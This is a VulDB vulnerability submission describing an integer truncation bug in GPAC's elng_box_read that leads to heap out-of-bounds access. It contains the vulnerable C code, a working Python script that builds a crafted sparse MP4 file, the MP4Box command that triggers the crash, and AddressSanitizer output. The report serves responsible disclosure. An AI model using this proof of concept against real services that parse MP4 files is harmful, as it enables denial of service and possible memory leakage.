Submit #808592: gpac latest Integer Truncation leading to Out-of-bounds Accessinfo

Titlegpac latest Integer Truncation leading to Out-of-bounds Access
DescriptionSummary An integer truncation vulnerability exists in src/isomedia/box_code_base.c in the elng_box_read() function. When parsing a crafted MP4 file containing an elng (Extended Language) box with a 64-bit largesize header, the box payload size ptr->size (type u64) is silently truncated to u32 for memory allocation, but the original 64-bit value is later used as an array index, resulting in a heap out-of-bounds read approximately 4 GB past the allocated buffer. Vulnerability Details Location: src/isomedia/box_code_base.c:3684–3692 Vulnerable Code: GF_Err elng_box_read(GF_Box *s, GF_BitStream *bs) { GF_ExtendedLanguageBox *ptr = (GF_ExtendedLanguageBox *)s; if (ptr->size) { ptr->extended_language = (char*)gf_malloc((u32) ptr->size); // [3684] u64 → u32 truncation if (ptr->extended_language == NULL) return GF_OUT_OF_MEM; gf_bs_read_data(bs, ptr->extended_language, (u32) ptr->size); // [3686] truncated read size if (ptr->extended_language[ptr->size-1]) { // [3688] u64 index → OOB READ char *str = (char*)gf_malloc((u32) ptr->size + 1); // [3689] truncated again if (!str) return GF_OUT_OF_MEM; memcpy(str, ptr->extended_language, (u32) ptr->size); str[ptr->size] = 0; // [3692] u64 index → OOB WRITE gf_free(ptr->extended_language); ptr->extended_language = str; } } return GF_OK; } The vulnerability is triggered when: An elng box uses the ISOBMFF largesize extension (size field = 1, followed by an 8-byte largesize), with the high 32 bits of largesize non-zero (e.g. 0x100000020) GPAC parses the file through a path where gf_bs_available(bs) is large enough to pass the INCOMPLETE_FILE guard in gf_isom_box_parse_ex (line 343), so that elng_box_read is actually invoked with the full u64 ptr->size Root Cause ISOBMFF stores box sizes in GF_Box.size as u64. The elng_box_read function applies (u32) casts to ptr->size when calling gf_malloc and gf_bs_read_data, truncating a value such as 0x10000000C to 12. However, lines 3688 and 3692 use the original ptr->size (still 0x10000000C) as an array subscript without any cast, indexing approximately 4 GB beyond the 12-byte allocation. This is the same truncation anti-pattern guarded against in other box readers (e.g. co64_box_read) but missed here. The elng box is valid inside extk containers (box_funcs.c:1245, parents "mdia extk ipco"), and extk is valid directly inside moov (box_funcs.c:1219). A Linux sparse file is used to satisfy the gf_bs_available check: gf_bs_available() returns bs->size - bs->position where bs->size is captured from fstat().st_size at open time. Because fstat reports the logical file size of a sparse file (e.g. 8 GB) regardless of actual disk usage, a file containing only 64 bytes of real box headers but declared as 8 GB causes gf_bs_available to return ~8 GB at the point of parsing the elng box, making 0x100000010 < 8 GB evaluate to true and allowing elng_box_read to proceed. Steps to Reproduce Requirements: Linux (sparse file support; ext4/xfs/btrfs), Python 3, GPAC compiled with AddressSanitizer (--enable-sanitizer). 1. Generate the PoC file Save the following script as poc_elng.py and run it. It writes 64 bytes of real MP4 box data and then extends the file to 8 GB as a sparse file (actual disk usage stays under 4 KB). #!/usr/bin/env python3 """ VULN-001 PoC: elng box u64->u32 truncation -> heap OOB read/write Affected: src/isomedia/box_code_base.c:3684-3692 (elng_box_read) Trigger mechanism: Linux sparse file makes gf_bs_available() return ~8 GB, bypassing the INCOMPLETE_FILE guard in gf_isom_box_parse_ex(), so elng_box_read() is reached with the full u64 ptr->size = 0x10000000C. gf_malloc((u32)ptr->size) allocates only 12 bytes, but ptr->extended_language[ptr->size - 1] indexes 4 GB past the buffer. """ import struct, os OUT = "poc_elng.mp4" # ISOBMFF largesize box: 4B size=1, 4B type, 8B largesize, then content def large_box(box_type: bytes, largesize: int, content: bytes = b"") -> bytes: return struct.pack(">I4sQ", 1, box_type, largesize) + content # Box tree: moov -> extk -> elng # elng largesize = 0x100000020 # -> ptr->size (u64) = 0x100000020 - 16 (hdr) - 4 (fullbox) = 0x10000000C # -> (u32) ptr->size = 12 [malloc/read arg, TRUNCATED] # -> ptr->extended_language[0x10000000B] = OOB READ ~4 GB past buffer ELNG_LARGESIZE = 0x100000020 EXTK_LARGESIZE = 0x100000030 MOOV_LARGESIZE = 0x100000040 elng_payload = struct.pack(">I", 0) # fullbox version=0 flags=0 elng_payload += b"A" * 12 # 12 non-zero bytes so buf[0] != 0, # ensuring the OOB branch is taken elng = large_box(b"elng", ELNG_LARGESIZE, elng_payload) # 32 bytes extk = large_box(b"extk", EXTK_LARGESIZE, elng) # 48 bytes moov = large_box(b"moov", MOOV_LARGESIZE, extk) # 64 bytes with open(OUT, "wb") as f: f.write(moov) # write 64 bytes of real data os.truncate(OUT, 0x200000000) # extend to 8 GB (sparse, <4 KB on disk) print(f"[+] {OUT} created") print(f" logical size : {os.path.getsize(OUT):,} bytes (8 GB)") print(f" real data : {len(moov)} bytes") print(f" ptr->size : 0x10000000C (u64)") print(f" malloc arg : 12 ((u32) truncation)") print(f" OOB index : 0x10000000B (~4 GB past buffer)") python3 poc_elng.py Expected output: [+] poc_elng.mp4 created logical size : 8,589,934,592 bytes (8 GB) real data : 64 bytes ptr->size : 0x10000000C (u64) malloc arg : 12 ((u32) truncation) OOB index : 0x10000000B (~4 GB past buffer) Verify that the file is sparse (actual disk usage should be ~4 KB, not 8 GB): ls -lh poc_elng.mp4 # shows 8.0G (logical) du -sh poc_elng.mp4 # shows ~4.0K (real disk usage) 2. Trigger the vulnerability /path/to/MP4Box -info poc_elng.mp4 2>&1 Because the binary is linked against libasan, the ASAN runtime is always active. The process will crash with SEGV immediately: AddressSanitizer:DEADLYSIGNAL ================================================================= ==PID==ERROR: AddressSanitizer: SEGV on unknown address ... ==PID==The signal is caused by a READ memory access. #0 ... in elng_box_read (.../libgpac.so.16+...) #1 ... in gf_isom_box_parse_ex ... #2 ... in gf_isom_box_array_read ... #3 ... in trak_box_read ... ... rax = 0x000000010000000c <- ptr->size (u64), high 32 bits = 0x1 rdi = 0x000000010000000b <- ptr->size - 1, the OOB index (~4 GB) SUMMARY: AddressSanitizer: SEGV ... in elng_box_read ==PID==ABORTING The registers confirm the truncation: rax holds the full u64 ptr->size = 0x10000000C, while only 12 bytes ((u32)0x10000000C = 12) were allocated. 3. Verify with AddressSanitizer To suppress leak reports and force abort on the OOB signal: ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 \ /path/to/MP4Box -info poc_elng.mp4 2>&1 The output is identical to step 2. The crash is 100% reproducible. Expected Result No crash. An elng box whose largesize exceeds the u32 range should be rejected with GF_ISOM_INVALID_FILE before any memory allocation occurs. Actual Result AddressSanitizer:DEADLYSIGNAL ================================================================= ==190737==ERROR: AddressSanitizer: SEGV on unknown address 0x7b33ba3e0ddb ==190737==The signal is caused by a READ memory access. #0 0x7f12be8c5ce7 in elng_box_read (/home/vuln/gpac/build/lib/libgpac.so.16+0x20c5ce7) #1 0x7f12be9793d4 in gf_isom_box_parse_ex (/home/vuln/gpac/build/lib/libgpac.so.16+0x21793d4) #2 0x7f12be97e922 in gf_isom_box_array_read (/home/vuln/gpac/build/lib/libgpac.so.16+0x217e922) #3 0x7f12be8e52f1 in trak_box_read (/home/vuln/gpac/build/lib/libgpac.so.16+0x20e52f1) #4 0x7f12be9793d4 in gf_isom_box_parse_ex (/home/vuln/gpac/build/lib/libgpac.so.16+0x21793d4) #5 0x7f12be97e922 in gf_isom_box_array_read (/home/vuln/gpac/build/lib/libgpac.so.16+0x217e922) #6 0x7f12be9793d4 in gf_isom_box_parse_ex (/home/vuln/gpac/build/lib/libgpac.so.16+0x21793d4) #7 0x7f12be97b461 in gf_isom_parse_root_box (/home/vuln/gpac/build/lib/libgpac.so.16+0x217b461) #8 0x7f12be99ec3e in gf_isom_parse_movie_boxes (/home/vuln/gpac/build/lib/libgpac.so.16+0x219ec3e) #9 0x7f12be9a4d61 in gf_isom_open_file (/home/vuln/gpac/build/lib/libgpac.so.16+0x21a4d61) #10 0x55a5710073d5 in mp4box_main /home/vuln/gpac/repo/applications/mp4box/mp4box.c:6480 ==190737==Register values: rax = 0x000000010000000c rbx = 0x00007bf2ba3e0040 rdi = 0x000000010000000b r12 = 0x0000000100000020 SUMMARY: AddressSanitizer: SEGV in elng_box_read ==190737==ABORTING Key register values confirm the truncation: rax = 0x000000010000000c — ptr->size (u64, high 32 bits = 0x1) rdi = 0x000000010000000b — ptr->size - 1 (the OOB array index, ~4 GB) rbx = 0x00007bf2ba3e0040 — buf base address (gf_malloc(12) return value, only 12 bytes allocated) r12 = 0x0000000100000020 — elng largesize as constructed Impact Out-of-bounds Read (CWE-125): Heap memory ~4 GB past the allocation is read, potentially leaking sensitive data from adjacent mappings Out-of-bounds Write (CWE-787): If execution reaches line 3692, a null byte is written at str[ptr->size], ~4 GB past a second heap allocation, enabling potential heap metadata corruption Denial of Service: The crash is 100% reproducible; any service parsing untrusted MP4 files is affected Attack Vector: A malicious MP4 file delivered to any application using libgpac for file parsing is sufficient; no authentication or privileges required Suggested Fix Reject l
Source⚠️ https://github.com/gpac/gpac/issues/3516
User
 Lucian-2333 (UID 97209)
Submission04/21/2026 02:15 (3 months ago)
Moderation05/07/2026 19:07 (17 days later)
StatusDuplicate
VulDB entry359734 [GPAC up to 26.03-DEV-rev105-g8f39a1eb3-master MP4Box box_code_base.c elng_box_read elng out-of-bounds]
Points0

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!